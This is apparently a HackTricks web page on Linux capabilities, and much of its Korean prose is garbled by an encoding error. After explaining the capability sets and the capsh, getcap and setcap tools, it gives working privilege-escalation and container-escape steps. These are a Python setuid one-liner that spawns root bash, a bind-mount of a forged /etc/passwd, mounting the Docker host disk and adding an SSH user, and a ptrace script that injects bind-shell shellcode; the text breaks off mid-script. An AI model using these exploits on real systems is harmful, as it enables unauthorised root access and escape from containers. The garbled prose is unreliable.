74 KiB
Linux Capabilities
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
âââââââââRootedCONì ì€íìžìì ê°ì¥ êŽë šì±ìŽ ëì ì¬ìŽë² 볎ì ìŽë²€ížìŽë©° ì ëœìì ê°ì¥ ì€ìí íì¬ ì€ íëì ëë€. êž°ì ì§ìì ìŽì§íë ì묎륌 ê°ì§ê³ ìë ìŽ íìë 몚ë ë¶ìŒì êž°ì ë° ì¬ìŽë² 볎ì ì 묞ê°ë€ìŽ 몚ìŽë ëšê±°ìŽ ë§ëšì ì¥ìì ëë€.\
{% embed url="https://www.rootedcon.com/" %}
Linux Capabilities
Linux capabilitiesë ë£šíž ê¶íì ë ìê³ êµ¬ë³ë ëšìë¡ ëëìŽ, íë¡ìžì€ê° ê¶íì íì ì§í©ì ê°ì§ ì ìëë¡ í©ëë€. ìŽë ë¶íìíê² ì 첎 ë£šíž ê¶íì ë¶ì¬íì§ ìììŒë¡ìš ìíì ìµìíí©ëë€.
묞ì :
- ìŒë° ì¬ì©ìë ì íë ê¶íì ê°ì§ê³ ììŽ, ë£šíž ì ê·ŒìŽ íìí ë€ížìí¬ ììŒì ì¬ë ìì ì ìí¥ì 믞칩ëë€.
ê¶í ì§í©:
- ììë (CapInh):
- 목ì : ë¶ëªš íë¡ìžì€ìì ì ë¬ë ê¶íì ê²°ì í©ëë€.
- êž°ë¥: ìë¡ìŽ íë¡ìžì€ê° ìì±ë ë, ìŽ ì§í©ìì ë¶ëªšë¡ë¶í° ê¶íì ììë°ìµëë€. íë¡ìžì€ ìì± ê° í¹ì ê¶íì ì ì§íë ë° ì ì©í©ëë€.
- ì í: íë¡ìžì€ë ë¶ëªšê° ê°ì§ì§ ìì ê¶íì ì»ì ì ììµëë€.
- ì íší (CapEff):
- 목ì : íë¡ìžì€ê° íì¬ ì¬ì©íë ì€ì ê¶íì ëíë ëë€.
- êž°ë¥: ë€ìí ìì ì ëí ê¶íì ë¶ì¬íêž° ìíŽ ì»€ëìŽ íìžíë ê¶í ì§í©ì ëë€. íìŒì 겜ì°, ìŽ ì§í©ì íìŒì íì©ë ê¶íìŽ ì íšíì§ ì¬ë¶ë¥Œ ëíëŽë íëê·žê° ë ì ììµëë€.
- ìì: ì íší ì§í©ì ìŠê°ì ìž ê¶í íìžì ì€ìíë©°, íë¡ìžì€ê° ì¬ì©í ì ìë íì± ê¶í ì§í©ìŒë¡ ìì©í©ëë€.
- íì©ë (CapPrm):
- 목ì : íë¡ìžì€ê° ê°ì§ ì ìë ìµë ê¶í ì§í©ì ì ìí©ëë€.
- êž°ë¥: íë¡ìžì€ë íì©ë ì§í©ìì ì íší ì§í©ìŒë¡ ê¶íì ìì¹ìí¬ ì ììŒë©°, íŽë¹ ê¶íì ì¬ì©í ì ìê² ë©ëë€. ëí íì©ë ì§í©ìì ê¶íì ì ê±°í ìë ììµëë€.
- 겜ê³: íë¡ìžì€ê° ê°ì§ ì ìë ê¶íì ìíì ìŒë¡ ìì©íì¬, íë¡ìžì€ê° 믞늬 ì ìë ê¶í ë²ì륌 ìŽê³Œíì§ ìëë¡ ë³Žì¥í©ëë€.
- ê²œê³ (CapBnd):
- 목ì : íë¡ìžì€ê° ìì 죌Ʞ ëì íëí ì ìë ê¶íì íê³ë¥Œ ë¡ëë€.
- êž°ë¥: íë¡ìžì€ê° ìì ê°ë¥íê±°ë íì©ë ì§í©ìì í¹ì ê¶íì ê°ì§ê³ ìëëŒë, ê²œê³ ì§í©ì í¬íšëì§ ììŒë©Ž íŽë¹ ê¶íì íëí ì ììµëë€.
- ì¬ì© ì¬ë¡: ìŽ ì§í©ì íë¡ìžì€ì ê¶í ìì¹ ê°ë¥ì±ì ì ííë ë° í¹í ì ì©íë©°, ì¶ê°ì ìž ë³Žì ê³ìžµì ì¶ê°í©ëë€.
- í겜 (CapAmb):
- 목ì : í¹ì ê¶íìŽ
execve
ìì€í ížì¶ì íµíŽ ì ì§ë ì ìëë¡ íì¬, ìŒë°ì ìŒë¡ íë¡ìžì€ì ê¶íìŽ ìì í ìŽêž°íëë 결곌륌 ìŽëí©ëë€. - êž°ë¥: êŽë š íìŒ ê¶íìŽ ìë ë¹-SUID íë¡ê·žëšìŽ í¹ì ê¶íì ì ì§í ì ìëë¡ ë³Žì¥í©ëë€.
- ì í: ìŽ ì§í©ì ê¶íì ìì ê°ë¥ ë° íì©ë ì§í©ì ì ìœì ë°ìŒë©°, íë¡ìžì€ì íì©ë ê¶íì ìŽê³Œíì§ ìëë¡ ë³Žì¥í©ëë€.
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')
ë ë§ì ì 볎ë ë€ìì íìžíìžì:
- https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work
- https://blog.ploetzli.ch/2014/understanding-linux-capabilities/
íë¡ìžì€ ë° ë°ìŽë늬 êž°ë¥
íë¡ìžì€ êž°ë¥
í¹ì íë¡ìžì€ì êž°ë¥ì ë³Žë €ë©Ž /proc ëë í 늬ì status íìŒì ì¬ì©íìžì. ë ë§ì ìžë¶ì 볎륌 ì ê³µíë¯ë¡ Linux êž°ë¥ê³Œ êŽë šë ì 볎ë¡ë§ ì íí©ìë€.
몚ë ì€í ì€ìž íë¡ìžì€ì ëí êž°ë¥ ì 볎ë ì€ë ëë³ë¡ ì ì§ëë©°, íìŒ ìì€í
ì ë°ìŽë늬ì ëíŽìë íì¥ ìì±ì ì ì¥ë©ëë€.
/usr/include/linux/capability.hìì ì ìë êž°ë¥ì ì°Ÿì ì ììµëë€.
íì¬ íë¡ìžì€ì êž°ë¥ì cat /proc/self/status
ëë capsh --print
륌 ì¬ì©íì¬ íìží ì ììŒë©°, ë€ë¥ž ì¬ì©ìì êž°ë¥ì /proc/<pid>/status
ìì íìží ì ììµëë€.
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
ìŽ ëª ë ¹ì ëë¶ë¶ì ìì€í ìì 5ì€ì ë°ííŽìŒ í©ëë€.
- CapInh = ììë ê¶í
- CapPrm = íì©ë ê¶í
- CapEff = ì íší ê¶í
- CapBnd = ê²œê³ ì§í©
- CapAmb = í겜 ê¶í ì§í©
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
ìŽ 16ì§ì ì«ìë ìë¯žê° ììµëë€. capsh ì ížëŠ¬í°ë¥Œ ì¬ì©íì¬ ìŽë¥Œ ê¶í ìŽëŠìŒë¡ ëìœë©í ì ììµëë€.
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
ìŽì ping
ìì ì¬ì©ëë capabilities륌 íìžíŽ ëŽ
ìë€:
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
ê·ž ë°©ë²ë íšê³Œì ìŽì§ë§, ë ìœê³ ë€ë¥ž ë°©ë²ìŽ ììµëë€. ì€í ì€ìž íë¡ìžì€ì ë¥ë ¥ì ë³Žë €ë©Ž, getpcaps ë구륌 ì¬ì©í ë€ì íë¡ìžì€ ID (PID)륌 ì ë ¥íë©Ž ë©ëë€. íë¡ìžì€ ID 목ë¡ì ì ê³µí ìë ììµëë€.
getpcaps 1234
ì¬êž°ìì tcpdump
ì êž°ë¥ì íìžíŽ ë³Žê² ìµëë€. ìŽì§ íìŒì 충ë¶í êž°ë¥(cap_net_admin
ë° cap_net_raw
)ì ë¶ì¬íì¬ ë€ížìí¬ë¥Œ ì€ëíí©ëë€ (tcpdumpë íë¡ìžì€ 9562ìì ì€í ì€ì
ëë€):
#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
죌ìŽì§ ë¥ë ¥ì ìŽì§ íìŒì ë¥ë ¥ì ì»ë ë ê°ì§ ë°©ë²ì 결곌ì ìŒì¹í©ëë€.
getpcaps ë구ë capget() ìì€í
ížì¶ì ì¬ì©íì¬ í¹ì ì€ë ëì ëí ì¬ì© ê°ë¥í ë¥ë ¥ì 쿌늬í©ëë€. ìŽ ìì€í
ížì¶ì ë ë§ì ì 볎륌 ì»êž° ìíŽ PIDë§ ì ê³µíë©Ž ë©ëë€.
ìŽì§ íìŒì ë¥ë ¥
ìŽì§ íìŒì ì€í ì€ì ì¬ì©í ì ìë ë¥ë ¥ì ê°ì§ ì ììµëë€. ì륌 ë€ìŽ, cap_net_raw
ë¥ë ¥ì ê°ì§ ping
ìŽì§ íìŒì ì°Ÿë ê²ì ë§€ì° ìŒë°ì ì
ëë€:
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
You can search binaries with capabilities using:
ë¹ì ì ë¥ë ¥ì ê°ì§ ë°ìŽë늬 ê²ìì ì¬ì©í ì ììµëë€:
getcap -r / 2>/dev/null
Dropping capabilities with capsh
CAP_NET_RAW ê¶íì _ping_ìì ì ê±°íë©Ž ping ì ížëŠ¬í°ê° ë ìŽì ìëíì§ ìììŒ í©ëë€.
capsh --drop=cap_net_raw --print -- -c "tcpdump"
Besides the output of capsh itself, the tcpdump command itself should also raise an error.
/bin/bash: /usr/sbin/tcpdump: íì©ëì§ ìë ìì
The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.
Remove Capabilities
You can remove capabilities of a binary with
setcap -r </path/to/binary>
User Capabilities
ëª
ë°±í ì¬ì©ììê²ë ê¶íì ë¶ì¬í ì ììµëë€. ìŽë ìë§ë ì¬ì©ìê° ì€ííë 몚ë íë¡ìžì€ê° ì¬ì©ìì ê¶íì ì¬ì©í ì ììì ì믞í©ëë€.
ìŽê², ìŽê² ë° ìŽê²ì êž°ë°ìŒë¡ í¹ì ê¶íì ì¬ì©ììê² ë¶ì¬íêž° ìíŽ ëª ê°ì§ íìŒì 구ì±íŽìŒ íì§ë§, ê° ì¬ì©ììê² ê¶íì ë¶ì¬íë íìŒì /etc/security/capability.conf
ì
ëë€.
íìŒ ì:
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
í겜 ë¥ë ¥
ë€ì íë¡ê·žëšì 컎íìŒíë©Ž ë¥ë ¥ì ì ê³µíë í겜 ëŽìì bash ì žì ìì±í ì ììµëë€.
{% code title="ambient.c" %}
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
{% endcode %}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
컎íìŒë í겜 ë°ìŽë늬ì ìíŽ ì€íë bash ëŽë¶ìì ìë¡ìŽ ë¥ë ¥ì êŽì°°í ì ììµëë€(ìŒë° ì¬ì©ìë "íì¬" ì¹ì ì ìŽë€ ë¥ë ¥ë ê°ì§ì§ ììµëë€).
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
{% hint style="danger" %} ë¹ì ì íì©ë ìžížì ìì ê°ë¥í ìžíž 몚ëì ì¡Žì¬íë ë¥ë ¥ë§ ì¶ê°í ì ììµëë€. {% endhint %}
ë¥ë ¥ ìžì/ë¥ë ¥ 묎ì ìŽì§ íìŒ
ë¥ë ¥ ìžì ìŽì§ íìŒì í겜ìì ì ê³µíë ìë¡ìŽ ë¥ë ¥ì ì¬ì©íì§ ìì§ë§, ë¥ë ¥ 묎ì ìŽì§ íìŒì ìŽë¥Œ ê±°ë¶íì§ ìêž° ë묞ì ì¬ì©í ê²ì ëë€. ìŽë ë¥ë ¥ì ìŽì§ íìŒì ë¶ì¬íë í¹ë³í í겜 ëŽìì ë¥ë ¥ 묎ì ìŽì§ íìŒì ì·šìœíê² ë§ëëë€.
ìë¹ì€ ë¥ë ¥
Ʞ볞ì ìŒë¡ 룚ížë¡ ì€íëë ìë¹ì€ë 몚ë ë¥ë ¥ìŽ í ë¹ë©ëë€, ê·žëŠ¬ê³ ê²œì°ì ë°ëŒ ìŽë ìíí ì ììµëë€.
ë°ëŒì, ìë¹ì€ êµ¬ì± íìŒì ìíë ë¥ë ¥ê³Œ ìë¹ì€ë¥Œ ì€ííŽìŒ íë ì¬ì©ì륌 ì§ì í ì ìê² íì¬ ë¶íìí ê¶íìŒë¡ ìë¹ì€ë¥Œ ì€ííì§ ìëë¡ í©ëë€:
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
Capabilities in Docker Containers
Ʞ볞ì ìŒë¡ Dockerë 컚í ìŽëì ëª ê°ì§ êž°ë¥ì í ë¹í©ëë€. ìŽë¬í êž°ë¥ìŽ 묎ììžì§ íìžíë ê²ì ë§€ì° ìœìµëë€:
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
ââââââââââRootedCONì ì€íìžìì ê°ì¥ êŽë šì±ìŽ ëì ì¬ìŽë² 볎ì ìŽë²€ížìŽë©° ì ëœìì ê°ì¥ ì€ìí íì¬ ì€ íëì ëë€. êž°ì ì§ìì ìŽì§íë ì묎륌 ê°ì§ê³ , ìŽ ì»šê·žë ì€ë 몚ë ë¶ìŒì êž°ì ë° ì¬ìŽë² 볎ì ì 묞ê°ë€ìŽ 몚ìŽë ëšê±°ìŽ ë§ëšì ì¥ìì ëë€.
{% embed url="https://www.rootedcon.com/" %}
Privesc/Container Escape
Capabilitiesë í¹ê¶ ìì ì ìíí í ìì ì íë¡ìžì€ë¥Œ ì ííê³ ì í ë ì ì©í©ëë€ (ì: chroot륌 ì€ì íê³ ììŒì ë°ìžë©í í). ê·žë¬ë ì ìì ìž ëª ë ¹ìŽë ìžì륌 ì ë¬íì¬ rootë¡ ì€íë ì ìëë¡ ì ì©ë ì ììµëë€.
setcap
ì ì¬ì©íì¬ íë¡ê·žëšì capabilities륌 ê°ì ë¡ ì€ì í ì ììŒë©°, getcap
ì ì¬ì©íì¬ ìŽë¥Œ ì¡°íí ì ììµëë€:
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
+ep
ë ë¥ë ¥ì ì¶ê°íê³ ììì ì믞í©ëë€ (â-âë ì ê±°í©ëë€) íšê³Œì ìŽê³ íì©ë ê²ìŒë¡.
ìì€í ìŽë íŽëìì ë¥ë ¥ì ê°ì§ íë¡ê·žëšì ìë³íë €ë©Ž:
getcap -r / 2>/dev/null
Exploitation example
ë€ì ìì ìì ìŽì§ íìŒ /usr/bin/python2.6
ê° ê¶í ìì¹ì ì·šìœí ê²ìŒë¡ ë°ê²¬ëììµëë€:
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
Capabilities needed by tcpdump
to allow any user to sniff packets:
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
"ë¹" ë¥ë ¥ì í¹ë³í 겜ì°
묞ììì: íë¡ê·žëš íìŒì ë¹ ë¥ë ¥ ì§í©ì í ë¹í ì ììŒë©°, ë°ëŒì ì€ííë íë¡ìžì€ì ì íš ë° ì ì¥ë set-user-ID륌 0ìŒë¡ ë³ê²œíì§ë§ íŽë¹ íë¡ìžì€ì ë¥ë ¥ì ë¶ì¬íì§ ìë set-user-ID-root íë¡ê·žëšì ìì±í ì ììµëë€. ê°ëší ë§íŽ, ë€ì 조걎ì ë§ì¡±íë ë°ìŽëëŠ¬ê° ìë€ë©Ž:
- rootì ìíŽ ìì ëì§ ìì
SUID
/SGID
ë¹ížê° ì€ì ëìŽ ìì§ ìì- ë¹ ë¥ë ¥ ì§í©ìŽ ì€ì ëìŽ ìì (ì:
getcap myelf
ê°myelf =ep
륌 ë°í)
ê·žë ë€ë©Ž íŽë¹ ë°ìŽë늬ë rootë¡ ì€íë©ëë€.
CAP_SYS_ADMIN
**CAP_SYS_ADMIN
**ì ë§€ì° ê°ë ¥í Linux ë¥ë ¥ìŒë¡, ì¥ì¹ ë§ìŽíž ëë 컀ë êž°ë¥ ì¡°ì곌 ê°ì êŽë²ìí êŽëŠ¬ ê¶íìŒë¡ ìžíŽ ê±°ì root ìì€ì íŽë¹í©ëë€. ì 첎 ìì€í
ì ì뮬ë ìŽì
íë 컚í
ìŽëì íìì ìŽì§ë§, CAP_SYS_ADMIN
ì ê¶í ìì¹ ë° ìì€í
ììì ê°ë¥ì±ìŒë¡ ìžíŽ í¹í 컚í
ìŽëíë í겜ìì ìë¹í 볎ì 묞ì 륌 ìŒêž°í©ëë€. ë°ëŒì ìŽ ë¥ë ¥ì ì¬ì©ì ì격í 볎ì íê°ì ì ì€í êŽëŠ¬ê° íìíë©°, ìµì ê¶í ìì¹ì ì€ìíê³ ê³µê²© íë©Žì ìµìííêž° ìíŽ ì í늬ìŒìŽì
ì ì© ì»ší
ìŽëìì ìŽ ë¥ë ¥ì ì ê±°íë ê²ìŽ ê°ë ¥í ê¶ì¥ë©ëë€.
ë°ìŽë늬 ìì
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
íìŽì¬ì ì¬ì©íì¬ ì€ì passwd íìŒ ìì ìì ë passwd íìŒì ë§ìŽíží ì ììµëë€:
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
ë§ì§ë§ìŒë¡ ìì ë passwd
íìŒì /etc/passwd
ì mountí©ëë€:
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
ê·žëŠ¬ê³ ë¹ì ì ë¹ë°ë²íž "password"륌 ì¬ì©íì¬ su
as rootë¡ ì íí ì ììµëë€.
í겜 ìì (Docker íì¶)
ë€ì ëª ë ¹ìŽë¥Œ ì¬ì©íì¬ ë컀 컚í ìŽë ëŽìì íì±íë ë¥ë ¥ì íìží ì ììµëë€:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the SYS_ADMIN capability is enabled.
- Mount
ìŽê²ì ë컀 컚í ìŽëê° ížì€íž ëì€í¬ë¥Œ ë§ìŽížíê³ ìì ë¡ê² ì ê·Œí ì ìëë¡ íì©í©ëë€:
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
- ì 첎 ì ê·Œ
ìŽì ë°©ë²ììë ë컀 ížì€íž ëì€í¬ì ì ê·Œí ì ìììµëë€.
ížì€ížê° ssh ìë²ë¥Œ ì€í ì€ìž 겜ì°, ë컀 ížì€íž ëì€í¬ ëŽì ì¬ì©ì륌 ìì±íê³ SSH륌 íµíŽ ì ê·Œí ì ììµëë€:
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
CAP_SYS_PTRACE
ìŽê²ì ížì€ížìì ì€í ì€ìž ìŒë¶ íë¡ìžì€ì ììœë륌 죌ì
íì¬ ì»ší
ìŽë륌 íì¶í ì ììì ì믞í©ëë€. ížì€ížìì ì€í ì€ìž íë¡ìžì€ì ì ê·Œíë €ë©Ž 컚í
ìŽë륌 ìµìí --pid=host
ìµì
ìŒë¡ ì€ííŽìŒ í©ëë€.
**CAP_SYS_PTRACE
**ë ptrace(2)
ê° ì ê³µíë ëë²ê¹
ë° ìì€í
ížì¶ ì¶ì êž°ë¥ê³Œ process_vm_readv(2)
, process_vm_writev(2)
ì ê°ì êµì°š ë©ëªšëŠ¬ ì²šë¶ ížì¶ì ì¬ì©í ì ìë ë¥ë ¥ì ë¶ì¬í©ëë€. ì§ëš ë° ëªšëí°ë§ 목ì ìŒë¡ ê°ë ¥íì§ë§, ptrace(2)
ì ëí seccomp íí°ì ê°ì ì í ì¡°ì¹ ììŽ CAP_SYS_PTRACE
ê° íì±íëë©Ž ìì€í
볎ìì ì¬ê°íê² ì íŽí ì ììµëë€. í¹í, ìŽë seccompì ìíŽ ë¶ê³Œë ë€ë¥ž 볎ì ì íì ì°ííë ë° ì
ì©ë ì ììŒë©°, ìŽì ê°ì ê°ë
ìŠëª
(PoC)ìì ì
ìŠëììµëë€.
ë°ìŽë늬 ìì (python)
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
